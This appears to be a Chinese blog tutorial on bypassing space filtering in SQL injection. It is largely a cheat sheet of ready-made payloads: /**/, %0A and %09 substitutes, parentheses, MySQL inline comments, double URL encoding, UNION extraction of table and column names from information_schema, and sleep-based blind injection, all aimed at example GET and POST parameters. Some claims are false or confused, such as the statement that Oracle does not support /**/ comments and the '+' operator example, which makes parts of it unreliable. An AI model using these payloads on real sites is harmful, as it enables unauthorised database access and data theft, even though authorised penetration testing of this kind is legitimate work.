sql注入中过滤分隔符的测试方法

目录

空格、%20、+被过滤时的测试方法

一、核心思路:替代空格的常用字符/语法

快速验证方法

二、分场景测试方法

场景1:GET请求参数(URL中)

步骤1:用/**/替代空格测试基础注入

步骤2:URL编码特殊字符(换行/制表符)

步骤3:括号包裹字段/表名

场景2:POST请求参数(表单/JSON)

方法1:用/**/替代空格

方法2:MySQL内联注释(仅MySQL)

场景3:盲注(无报错回显)

布尔盲注示例(MySQL)

时间盲注优化(无空格)

场景4:特殊数据库适配

[1. Oracle数据库](#1. Oracle数据库)

[2. SQL Server数据库](#2. SQL Server数据库)

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

技巧2:利用运算符替代空格

技巧3:注释嵌套(绕过WAF规则)

四、测试注意事项

五、常见问题排查


空格、%20、``+被过滤时的测试方法

在SQL注入测试中,空格(包括URL编码的%20)、+是最常用的分隔符,若被WAF/代码过滤,可通过特殊字符/语法替代分隔符编码绕过注释截断等方式突破限制,本文详细讲解具体测试方法与场景适配。

一、核心思路:替代空格的常用字符/语法

SQL语法中,空格的核心作用是分隔关键字/表名/字段名,以下字符/语法可等效替代空格,且多数数据库兼容:

|--------|---------------------------------------|-------------------------|-------------------------|
| 替代方式 | 语法示例 | 适用数据库 | 说明 |
| 注释符截断 | SELECT/**/username/**/FROM/**/users | MySQL/Oracle/SQL Server | /**/是通用注释,可分隔语句 |
| 换行符 | SELECT%0Ausername%0AFROM%0Ausers | 所有主流数据库 | %0A是URL编码的换行符 |
| 制表符 | SELECT%09username%09FROM%09users | 所有主流数据库 | %09是URL编码的制表符 |
| 括号包裹 | SELECT(username)FROM(users) | MySQL/SQL Server | 用括号分隔字段/表名 |
| 特殊空白字符 | SELECT%0Busername%0BFROM%0Busers | MySQL/Oracle | %0B(垂直制表符)、%0C(换页符) |
| 内联注释 | SELECT/*!username*/FROM/*!users*/ | MySQL | MySQL特有内联注释,不影响执行 |

快速验证方法

先通过简单语句测试替代符是否生效(以MySQL为例):

# 原正常语句(空格分隔) SELECT id FROM users WHERE id=1 # 替换后测试语句 SELECT/**/id/**/FROM/**/users/**/WHERE/**/id=1 -- 注释符替代 SELECT%0Aid%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 换行符替代 SELECT(id)FROM(users)WHERE(id=1) -- 括号替代

二、分场景测试方法

场景1:GET请求参数(URL中)

若目标URL为:http://xxx.com/user.php?id=1,空格/%20/+被过滤:

步骤1:用/**/替代空格测试基础注入

# 测试是否存在注入(判断是否报错) http://xxx.com/user.php?id=1/**/AND/**/1=1 http://xxx.com/user.php?id=1/**/AND/**/1=2 # 联合查询测试(提取表名) http://xxx.com/user.php?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()

步骤2:URL编码特殊字符(换行/制表符)

/**/也被过滤,用%0A/%09替代:

# 换行符(%0A)替代 http://xxx.com/user.php?id=1%0AAND%0A1=1 # 制表符(%09)替代 http://xxx.com/user.php?id=1%09AND%091=2

步骤3:括号包裹字段/表名

若所有空白字符都被过滤,用括号分隔:

http://xxx.com/user.php?id=1AND(1=1) http://xxx.com/user.php?id=-1UNION(SELECT(1),(2),(3)FROM(users))

场景2:POST请求参数(表单/JSON)

若POST参数(如username=admin&password=123)中空格被过滤:

方法1:用/**/替代空格

// JSON格式示例 { "username": "admin'/**/AND/**/1=1#", "password": "123" }

// 表单格式示例 username=admin'/**/OR/**/'1'='1&password=123

方法2:MySQL内联注释(仅MySQL)

利用/*! */注释包裹关键字,无需空格:

# 测试语句 username=admin'/*!AND*/1=1# password=123 # 提取数据 username=-1'/*!UNION*//*!SELECT*/1,group_concat(column_name),3/*!FROM*/information_schema.columns/*!WHERE*/table_name='users'#

场景3:盲注(无报错回显)

若无法通过报错判断,需结合布尔盲注/时间盲注,同时替换空格:

布尔盲注示例(MySQL)

# 测试数据库名长度(/**/替代空格) http://xxx.com/user.php?id=1/**/AND/**/length(database())=8 # 时间盲注(%0A替代空格) http://xxx.com/user.php?id=1%0AAND%0Asleep(5)

时间盲注优化(无空格)

# 括号包裹,无任何空白字符 http://xxx.com/user.php?id=1AND(sleep(5))

场景4:特殊数据库适配

1. Oracle数据库

Oracle不支持/**/注释分隔,优先用%0A(换行符)或--注释截断:

-- 测试语句(%0A替代空格) SELECT%0Aname%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 注释截断(无需空格) SELECT'1'FROM dual WHERE '1'='1'--

2. SQL Server数据库

支持[]包裹关键字,且%09(制表符)兼容性更好:

-- 制表符替代空格 SELECT%09[name]%09FROM%09[users]%09WHERE%09[id]=1 -- 括号替代 SELECT([name])FROM([users])WHERE([id]=1)

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

若WAF过滤%0A/%09,可对编码再次编码:

# %0A的双重编码是%250A http://xxx.com/user.php?id=1%250AAND%250A1=1 # %09的双重编码是%2509 http://xxx.com/user.php?id=1%2509AND%25091=2

技巧2:利用运算符替代空格

部分场景下,+/-/*等运算符可间接分隔语句(需结合语法):

# MySQL示例(+号分隔) SELECT 1+1 FROM users WHERE id=1 -- 等效于 SELECT 1 1 FROM users... # 注入测试 id=1'+'AND+'1'='1

技巧3:注释嵌套(绕过WAF规则)

若WAF拦截/**/,可嵌套注释:

# 嵌套注释替代空格 SELECT/*/*/id/*/*/FROM/*/*/users

四、测试注意事项

  1. 优先测试通用替代符 :先试/**/,再试%0A/%09,最后试括号,减少测试成本;

  2. 适配数据库类型 :不同数据库对替代符的支持差异大(如Oracle不支持/**/),需先确认数据库类型;

  3. 避免触发WAF拦截 :部分替代符(如/*! */)可能被WAF标记为恶意,可混合多种方式;

  4. 验证语句有效性:替换空格后,先在本地数据库测试语句是否能正常执行,再用于目标站点;

  5. 合规测试:仅对授权的系统进行测试,避免违反法律法规。

五、常见问题排查

  1. 替代符无效 :检查是否数据库版本不兼容(如MySQL 5.5以下对/*! */支持有限),或WAF深度解析了注释/编码;

  2. 语句报错 :确认替代符位置是否正确(如/**/需放在关键字之间,而非首尾);

  3. 盲注无响应:可能是替代符被过滤,或目标无注入漏洞,需换用其他替代方式。

相关推荐
小陈工2 小时前
Python Web开发入门(十七):Vue.js与Python后端集成——让前后端真正“握手言和“
开发语言·前端·javascript·数据库·vue.js·人工智能·python
科技小花7 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
一江寒逸7 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain7 小时前
linux个人心得22 (mysql)
数据库·mysql
阿里小阿希7 小时前
CentOS7 PostgreSQL 9.2 升级到 15 完整教程
数据库·postgresql
荒川之神7 小时前
Oracle 数据仓库雪花模型设计(完整实战方案)
数据库·数据仓库·oracle
做个文艺程序员7 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
不吃香菜学java8 小时前
Redis简单应用
数据库·spring boot·tomcat·maven
一个天蝎座 白勺 程序猿8 小时前
Apache IoTDB(15):IoTDB查询写回(INTO子句)深度解析——从语法到实战的ETL全链路指南
数据库·apache·etl·iotdb
不知名的老吴8 小时前
Redis的延迟瓶颈:TCP栈开销无法避免
数据库·redis·缓存